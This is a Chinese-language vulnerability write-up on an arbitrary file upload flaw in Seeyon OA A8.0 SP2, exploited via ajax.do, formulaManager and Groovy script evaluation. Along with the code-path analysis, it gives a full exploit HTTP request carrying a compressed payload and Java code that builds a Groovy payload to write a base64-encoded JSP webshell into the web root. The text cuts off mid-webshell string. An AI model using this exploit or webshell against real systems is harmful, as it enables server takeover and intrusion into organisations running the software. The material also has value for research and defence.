致远OA A8.0 SP2 Ajax.do调用formulaManager任意文件上传漏洞分析
字数 945 2025-08-23 18:31:09
致远OA A8.0 SP2 Ajax.do调用formulaManager任意文件上传漏洞分析
漏洞概述
致远OA A8.0 SP2版本存在一个通过Ajax.do接口调用formulaManager的任意文件上传漏洞,攻击者可以利用该漏洞在服务器上上传任意文件,包括JSP Webshell,从而获取服务器控制权限。
漏洞环境
- 受影响版本:致远A8.0 SP2
- 利用前提:需要有效的用户登录凭证(Cookie)
漏洞利用
利用请求示例
POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 10.0.103.5
Content-Length: 5657
RequestType: AJAX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://10.0.103.5
Referer: http://10.0.103.5/seeyon/main.do?method=managementMain
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3FCC...; hostname=10.0.103.5:80; loginPageURL=; login_locale=zh_CN
x-forwarded-for: 127.0.0.1
Connection: close
managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00mV%5Bs%C2%A2J%10%C3%BE%2B%29%C2%9E%C2%92%C3%9A%1C%17Qv%C3%97%C2%A4%C3%B6A%C2%88%22%C2%A8%24%02r%C2%99%C2%93%C3%B3%C3%80e%04d%40%C3%82E%C3%85T%C3%BE%C3%BBi%40%C2%8D%C2%B1%C3%B2%40%C3%A9%C3%B4%C3%B4%C3%B5%C2%9B%C2%AF%7B%C3%A6%C3%9Fw*%C3%B4%C2%A8%C2%87%C2%A4%24%C3%A4%C2%9EZm%C2%B2%C2%B8%24%C2%B6V%C2%A5%C2%98z%60%C3%8E%C3%AB%21%09%C3%AD%C3%BCJG%C2%B6c%C3%90%C2%A1%0A%C2%9C%17%C3%94%3D%C3%A5%C3%A1%C3%9C%C3%8D%C3%82%C2%B4%087%C3%89I%2F%C2%B53%3B%C3%8E%C2%A5%C3%BCZrZ%C2%B9v%C2%81%C3%BDMV%C2%9D%C3%96%05%C2%8ES%02%C2%B2%C2%B3Bn%C2%83%00_%C2%85%1D%C3%AD%C3%93%0C%C3%A7y%13%07%C2%A2%C2%AEnV%21%C3%81%2Fv%11%C3%9C%C3%BC%C2%BDy%C2%A5%3A%C2%9D%C2%9F%3B%C3%AC%C3%98i%C2%9A%C3%BFT%C2%9E%C2%9F%C2%B5%C2%9F%C3%B1%21c%3A%C3%AB%3C%7D%C2%A5%1E%C3%97%C3%B6%C3%96%C3%AE%C2%84%C2%9B%C3%8E%18%C3%B4%1B%230H%C3%B0%C3%AE%C3%A6R%7E%7Brv%C3%B7%C2%A8%16Y%C2%98%C3%B87y%C2%80%09%C3%B9%C3%BBJ%C2%BD%C3%B0%C3%BA%C3%90%15%C3%86%09R%C2%B9%C3%941%C2%B9%C2%AD%C2%9B%2C%06b%C2%9C%06%5E%3C*%3DSI%1D%C2%BE%C3%BF6%13%C3%9A%C2%B5m%C3%BC%29%C2%A7%C3%A1%C3%BE%C3%8D2Q%C2%80yv%C3%AD%26d%C3%A7%09%C3%9F%C3%8B%C3%9C%1EG%C2%AC%C2%AA%C3%BF%26%C2%86%C3%8B%1F%2F%C3%BC2%C2%B0%C2%98%7D%C3%A0%C3%B6%C3%A6%C2%BE%C2%AEr%04O%14%C3%A2%C3%84%C3%8AA%1C%C3%89%C2%B9e%C3%8A%07M%18%04H%C3%90%2Bq%C2%92O%C3%B9%05%C3%91%C2%A7%C3%97ra%C2%9E%C2%B6%7B%C2%91%C3%A4%C3%B6%C3%B4%1D2%C3%85%C2%8DUE%C2%BFy%3F%C2%92V%C2%8B%C2%8D%C3%84%C2%9B%5C%C3%97%C2%8A%C3%B7%C2%A9UqO%C2%8E0%3E%C2%B8%15%C2%97L%05%C2%89%C3%B5%04%C3%9D1U.%C2%9C%C2%AA%5C%C2%A3%C3%8B%C2%9B%12%C3%B1%26z%C3%A5%C2%84%C3%9C%C3%8139%C3%A2%C2%86l%C2%84%0C%C2%94%3A%C2%B1%7E%C2%B4%0B%C3%82%19%3F%C3%9C%C3%8Dx.%C2%9C%C3%85%7B%C3%88%C3%91%C2%A3m%C3%BE3%C3%8EJ%5D%C3%BE%C3%A0%C3%97%3B%C3%82%27J%C2%85%C3%8D%26W%C3%8D%C2%9BH%60%C3%AF%C3%BA6%C2%A3%C2%B3%2F%C2%AA%C3%88%C3%8E%C2%9F%C2%B8%C3%90%3A%C3%B8%7D%C3%99X%C3%B4dmy%C2%98%1F%C3%9C%C2%AE%C2%B8nt%2Bd%C2%8E%C2%BB%C3%88%C2%94%C3%A9Y%22%13o4%C2%A6k%5B%2B%C3%91i%C2%A4%C3%BA%C2%A1%C3%8B%14%C2%AC%18%C3%AE%1A%3FS%C3%AD%C2%ABo%24%C2%8CiK%C3%AB%7E%C3%9A%C3%87%1E%C3%B1%C3%86%12%C2%B1%0C%05j%C3%B0%C3%93Y%C3%92%C3%BC%C2%9F%C3%9B%06K%C2%A6%C3%87%7Cm%C3%83%C3%B2%C2%A7%C2%82%12x%C3%82%28xQ%C2%B9%C3%923%C3%B6%C3%B9%19%07%5D%C2%A6%C3%9D%C2%98%C2%94%C2%A8%C3%A2%18%C3%80%C3%92%C2%87%7D%0D%C2%83_d%C3%90%25btz9%C2%91%C2%B6.%C3%A0%C3%AEM%C2%A2%C3%8D%C2%99%0B%C2%B1%5E%C2%B9%0C%C3%99%3A%C2%A1%C2%98%3E%C3%AF%00%C3%B3%05%09%C2%B1%C2%A9%10%C2%A3K%C3%BB%163%C2%88%C2%90%C3%96mb%C3%94%7B%22%3F%C3%B4%C3%9B%C2%8FKQ8%C3%9C%C3%94%C2%B6%C2%B3X%C3%9E%02%C2%BF%027%C3%96%C2%97N%C3%A5%C2%87s%C2%B5%C3%9F%17%C3%83%C3%88%7FY%C3%93%C3%BE%C2%9C%C2%8F%7C%C3%BC%C3%85%C2%AE%C3%BD%16G%C3%8E%2C%C3%A2%C3%B1%01i%16-%3E%C3%91%27Y%C2%89%C3%A2A%C2%A5%C3%85%C3%A3%C2%A2%C3%86%C3%8E%C2%8E%C3%87%C2%8C%C2%A5%C2%B2%5DO+%C3%B9%2C%C2%92%02%C2%97Y22%C3%9F%C3%A6y%C3%ADSc%C2%A47d%C3%88%C2%B48RH%C2%93w%5B%3F%0F%7C%23%C3%B2z%C3%91%C3%94%C2%AF%19%3Am%0B%C2%83h%C3%8AK%092%C2%95%11%C3%A8o%1B%1E%C3%82%C3%B9%C2%9C%C2%B8%09u%C2%A7%C2%A2%C3%80v%1Da%C2%97%C3%8E%00K%2F%1EdH%0DN%7Er%C2%91%0F%5E%2Chs%C2%AB%C2%A7%00%07%23%C3%9FI%C3%B4%C3%9Ci%C3%8F%C3%86%C3%BF%C2%9A%13%C2%B7v%18%C2%85%C3%94%C2%B5%7Dr6%C3%B2%15Ao%C3%A4%C3%80%C3%91%3A%C2%87%23%3F%C3%A1%C2%AC%C3%AB%C2%B3%1Fu%C2%89%27%04%5B%C3%84%C3%BB%21%3A%C3%AA%C3%95%C2%B9%01%C2%8F%7B%C3%A29%C2%BF%C3%AEo%2B%214%C3%92%0B%0F%C2%B0od%2B5%C2%82%1Ef%19%C2%87%29%C3%88%C3%B4%C2%B3%C3%BE%1C%C3%AA+%5E%C3%85%7D%C3%A6k%16%C2%91e*A%1B%C2%AB%C3%89%C3%A9%00X%C3%A8%C3%BA%C3%88*%C2%9E%01W%C3%B0%C3%B3%C2%B5%C2%8E%09%C3%AD%23c%7F%40-%C2%BF%C2%AE%C3%AB%3B%C3%B5%C3%A4%09%C2%9B%1A%C3%AF%C2%A3%C2%8C%C2%8D%C2%9D%C2%9E%C3%B4l%19%5D%C3%A0%C2%ADt%C3%B0%C2%8C%7E%C3%A9%18%C3%A4%60U%2C%C2%BF%C3%90%C3%A5%C2%B1%C2%BC%C2%BE%C3%84%C3%BE%5B%C3%AC%C2%8E9%2F.%C3%B0%1A%0E%C3%84%C3%91%C2%89%03l%C2%89LOr%12%C2%99%C2%B6%0Cv%0D%5C%C3%B9%C2%96%13%0D%0E*%C3%98%C3%B1%C3%81%C2%89%C3%93%C3%A9%05%3F%1AN%1Cy%C2%B7%C2%99%C2%AA%C3%8Dy%C3%88%C3%B0m%1Cf%01%C3%BDq%C3%94%5BJ%5D%14%23%C2%88%7F%C3%86%C2%B3%C2%AD%C2%B1%5Bx%C2%B8%7B%C3%AA7v%C3%9D%C3%88z%C3%B4%25g%C3%8E5%C3%82%C3%9C%C2%81%7C%C3%9D3G%C3%AB3lz%C3%9F%C2%A4%C2%AF%C3%B2%C3%A6%06M%1F%2F%C3%A5%C3%94%15%02%C2%88%C3%89%C2%AD%C3%9B%C3%9E+%3B%C2%BB%C3%B6%C3%93%C2%9C%1B%C2%81%19%C2%AC%04N%2C%C3%97%C3%98r%C2%8A%3E%0F%C3%9B%C2%B9%12I%C2%80%2F%C3%8C%15BO%C2%9F%C3%8E%C2%B9j%10%0F%C3%A6%C2%8B2C%26%C3%91%C2%A0%C3%B7%C3%97S%C2%A1+%C2%B8%C2%AD%C2%95%C2%AF1i%C2%B8%C3%87%0F%C3%83%C3%85R%C3%97%C3%A0%2CN3%C2%A0%C3%89WW%03%C3%A8%17rh%C3%A3%C2%B6%5C%C2%839t%C2%81%C2%9B%3Cw%C2%98q%C2%8D%25%C3%A0%07%C3%B2*X%C3%8Fbe%C2%AB%00%06%C2%96%C2%B1%C3%9B%C2%B4%C3%B8G%C2%80%09%C3%A4B_%C3%A6%0D%C2%BA0%C3%B3%2C%C3%A0%C3%96t%C3%82%05%C3%A0%C3%AF%C3%89aX%1A%C2%99%01%7D%C2%9C%C2%91%C2%80%03%19X%0C%60%C3%84%C3%B8%1B%C3%85%0C%C3%96%C3%88%C3%A4h%C3%9B%18%C2%94%C2%A2%C2%B0L%C3%B1.%1D%3C%C3%AF%C3%92%C2%ADg.%06%C3%8D%1D%C2%B7%C2%84%19%C2%94%28p%C3%BF%2CJw%C2%A2%1F%C3%AC%C2%91%C2%B4E0%C3%A3j_%C2%92%C3%96%C2%87%C3%9B%C3%B01%2F%C2%93N%1C%C3%A6n%C2%87%1B%C2%AA%C2%A3_%C3%BD%27%C3%ACn%3C%C2%9C%C3%9Dx%C3%87%C3%9F%C3%B6f%C3%BD%5E%C3%A9%C3%B6%7C%C2%B7%C2%B6%C3%9A%C3%87Ek%C3%92.n%C2%8F%7E%3A%C3%AD%2FW%C2%AEV%60%C3%97%5C%C3%85w%C3%B7%C2%AF%C3%94R%1B%C3%BF%C3%B3%C3%A7%C2%95%C2%BA%7B%C2%ACo%C3%AB%C3%8E.%0B%0B%7C%7B%C3%A9%C3%AB%C3%AE%C3%B1%C3%A3%C2%B1%7E%C2%96%40%C2%A4%C3%BA%C2%81%C2%90%17v%11%C2%BA7%C3%BB%C3%BD%C3%BE%C3%B6%C3%AE%1D%C2%9E*x%C2%9Fb%C2%B7%C3%90mR%C2%9E%C3%9F%16%C2%9E%5D%1C%C3%9F%3C%C3%87%C2%97%07%C2%98%C2%9C%17n%C2%86%C3%ADb%C2%93%7DYb-%C2%8C%C3%8F%0Ae%C3%AA%5DI2%0C%09%C3%A3%C3%84%C3%85%C3%A2%C3%B9e%05%C3%95Q%0FEV%C3%A2%3A%C2%81%22%C2%B3%C3%A7vJ%3D%C2%BC%7F%7C%C3%9CS%C3%94%C3%BD%C3%BB%C3%87%7D%C2%BD%C3%B3%C3%9F%C3%BFp%C2%A5%C2%92D%C2%8B%09%00%00
关键参数说明
- 请求路径:
/seeyon/ajax.do - 关键GET参数:
method=ajaxAction:指定调用AjaxController的ajaxAction方法managerName=formulaManager:指定要调用的服务类requestCompress=gzip:指定请求参数使用gzip压缩
- 关键POST参数:
managerMethod=validate:指定要调用的方法arguments=...:经过gzip压缩的JSON参数
漏洞分析
漏洞调用链
- 请求
ajax.do接口,指定method=ajaxAction - 调用
AjaxController.ajaxAction()方法 - 调用
AjaxController.invokeService()方法 - 通过
getService()获取formulaManager实例 - 调用
invokeMethod()反射调用formulaManager.validate()方法 - 最终执行Groovy脚本实现任意文件上传
核心代码分析
AjaxController.ajaxAction()
public ModelAndView ajaxAction(HttpServletRequest request, HttpServletResponse response) throws Exception {
response.setHeader("Pragma", "No-cache");
response.setHeader("Cache-Control", "no-cache");
response.setDateHeader("Expires", 0L);
response.setContentType("application/json; charset=UTF-8");
String responseCompress = request.getParameter("responseCompress");
String url = request.getRequestURI();
String outStr = "";
outStr = this.invokeService(request, response);
if (Strings.isNotBlank(request.getParameter("ClientRequestPath"))) {
outStr = ZipUtil.compressResponse(outStr, responseCompress, "UTF-8", LOGGER);
outStr = Strings.toHTML(outStr);
}
Writer out = response.getWriter();
out.write(outStr);
return null;
}
AjaxController.invokeService()
private String invokeService(HttpServletRequest request, HttpServletResponse response) throws BusinessException {
AppContext.initSystemEnvironmentContext(request, response, false);
String serviceName = request.getParameter("managerName");
String methodName = request.getParameter("managerMethod");
String strArgs = request.getParameter("arguments");
String compressType = request.getParameter("requestCompress");
strArgs = ZipUtil.uncompressRequest(strArgs, compressType, "UTF-8", LOGGER);
String ctpJSONPCallback = request.getParameter("ctpJSONPCallback");
String retValue = null;
JSONValue jsonValue = null;
try {
long start = System.currentTimeMillis();
Object service = getService(Strings.escapeJavascript(serviceName));
Object result;
try {
result = this.invokeMethod(service, methodName, strArgs, serviceName);
} catch (Exception var20) {
this.logger.error("ajax error,serviceName=" + serviceName + ",methodName=" + methodName + ", strArgs=" + JSONUtil.toJSONString(strArgs), var20);
throw var20;
}
// 忽略了
return retValue;
}
}
FormulaManagerImpl.validate()
public static boolean validate(Formula formula, String expression, Map context, boolean isSave) throws BusinessException {
Object obj = null;
if (formula.getFormulaType() != FormulaType.GroovyFunction.getKey() && formula.getFormulaType() != FormulaType.Variable.getKey()) {
return false;
} else {
try {
String script = formula.toString() + ";" + expression;
// 执行groovy脚本
obj = eval(script, context);
validateReturnType(formula, obj);
} catch (ScriptException var7) {
LOG.error(ResourceUtil.getString("ctp.formulas.error.chekcFailed"), var7);
throw new BusinessException("ctp.formulas.error.chekcFailed");
} catch (StackOverflowError var8) {
LOG.error("校验Groovy函数错误:", var8);
throw new BusinessException("堆栈溢出,请检查是否有递归调用。");
}
// 省略部分代码
return true;
}
}
FormulaUtil.eval()
public static Object eval(String scriptText, Map context) throws ScriptException, BusinessException {
log(scriptText);
Map ctx = new HashMap(getFormulaContext());
ctx.putAll(context);
return ScriptEvaluator.getInstance(true).eval(
"import com.seeyon.ctp.common.AppContext;" +
"import static com.seeyon.ctp.common.formula.runtime.CtpFormula.*;" +
scriptText, ctx);
}
漏洞利用条件
- 需要设置
formulaType为1或2(GroovyFunction或Variable) - 需要绕过Groovy脚本黑名单检查
- 通过
formula.toString()方法构造恶意Groovy脚本
漏洞利用代码生成
以下是生成漏洞利用参数的Java代码示例:
package com.example.Test;
import com.seeyon.ctp.common.formula.FormulaUtil;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.common.po.formula.Formula;
import com.seeyon.ctp.common.script.ScriptEvaluator;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.HashMap;
public class Test {
private static final Log LOGGER = CtpLogFactory.getLog(Test.class);
public static void main(String[] args) throws Exception {
final Formula formula = new Formula();
// 设置formulaType为2(Variable)
formula.setFormulaType(2);
formula.setFormulaName("test");
// 构造恶意Groovy脚本
String payload = "" +
"def filePath = \"../webapps/ROOT/mzr2.j" +
"sp\";" +
"java.io.File file = new java.io.File(filePath);" +
"String shell=\"PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiU+PCUhY2xhc3MgVSBleHRlbmRzIENsYXNzTG9hZGVyIHsKCQlVKENsYXNzTG9hZGVyIGMpIHsKCQkJc3VwZXIoYyk7CgkJfQoJCXB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7CgkJCXJldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLCAwLCBiLmxlbmd0aCk7CgkJfQoJfSU+CjwlCnRyeXsKCQlTdHJpbmcga2V5PSI5MDBiYzg4NWQ3NTUzMzc1IjsKCQlyZXF1ZXN0LnNldEF0dHJpYnV0ZSgic2t5Iiwga2V5KTsKCQlTdHJpbmcgZGF0YT1yZXF1ZXN0LmdldFJlYWRlcigpLnJlY